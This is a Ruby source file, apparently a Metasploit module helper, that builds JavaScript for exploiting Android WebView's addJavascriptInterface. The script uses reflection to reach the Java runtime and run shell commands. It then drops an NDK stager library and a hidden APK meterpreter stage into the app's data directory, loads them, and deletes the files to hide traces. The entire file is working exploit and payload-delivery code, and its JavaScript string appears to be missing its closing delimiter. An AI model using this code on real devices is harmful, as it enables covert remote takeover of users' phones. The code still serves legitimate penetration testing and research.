99 lines
3.5 KiB
Ruby
99 lines
3.5 KiB
Ruby
# -*- coding: binary -*-
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require 'msf/core'
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module Msf
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module Exploit::Android
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# Since the NDK stager is used, arch detection must be performed
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SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
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# Most android devices are ARM
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DEFAULT_ARCH = ARCH_ARMLE
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# Some of the default NDK build targets are named differently than
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# msf's builtin constants. This mapping allows the ndkstager file
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# to be looked up from the msf constant.
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NDK_FILES = {
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ARCH_ARMLE => 'armeabi',
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ARCH_MIPSLE => 'mips'
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}
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def add_javascript_interface_exploit_js(arch)
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stagename = Rex::Text.rand_text_alpha(5)
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%Q|
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function exec(runtime, cmdArr) {
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var ch = 0;
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var output = '';
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var process = runtime.exec(cmdArr);
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var input = process.getInputStream();
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while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); }
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return output;
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}
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function attemptExploit(obj) {
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// ensure that the object contains a native interface
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try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
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// get the pid
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var pid = obj.getClass()
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.forName('android.os.Process')
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.getMethod('myPid', null)
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.invoke(null, null);
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// get the runtime so we can exec
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var runtime = obj.getClass()
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.forName('java.lang.Runtime')
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.getMethod('getRuntime', null)
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.invoke(null, null);
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// libraryData contains the bytes for a native shared object built via NDK
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// which will load the "stage", which in this case is our android meterpreter stager.
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// LibraryData is loaded via ajax later, because we have to access javascript in
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// order to detect what arch we are running.
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var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
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// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
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// another stager which loads android meterpreter from the msf handler.
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var stageData = "#{Rex::Text.to_octal(payload.raw, '\\\\0')}";
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// get the process name, which will give us our data path
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// $PPID does not seem to work on android 4.0, so we concat pids manually
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var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
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var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
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var stagePath = path + '/#{stagename}.apk';
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// build the library and chmod it
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runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
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runtime.exec(['chmod', '700', libraryPath]).waitFor();
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// build the stage, chmod it, and load it
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runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
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runtime.exec(['chmod', '700', stagePath]).waitFor();
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// load the library
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runtime.load(libraryPath);
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// delete dropped files
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runtime.exec(['rm', stagePath]).waitFor();
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runtime.exec(['rm', libraryPath]).waitFor();
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return true;
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}
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for (i in top) { if (attemptExploit(top[i]) === true) break; }
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end
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# The NDK stager is used to launch a hidden APK
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def ndkstager(stagename, arch)
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localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so')
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data = File.read(localfile, :mode => 'rb')
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data.gsub!('PLOAD', stagename)
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end
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end
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end
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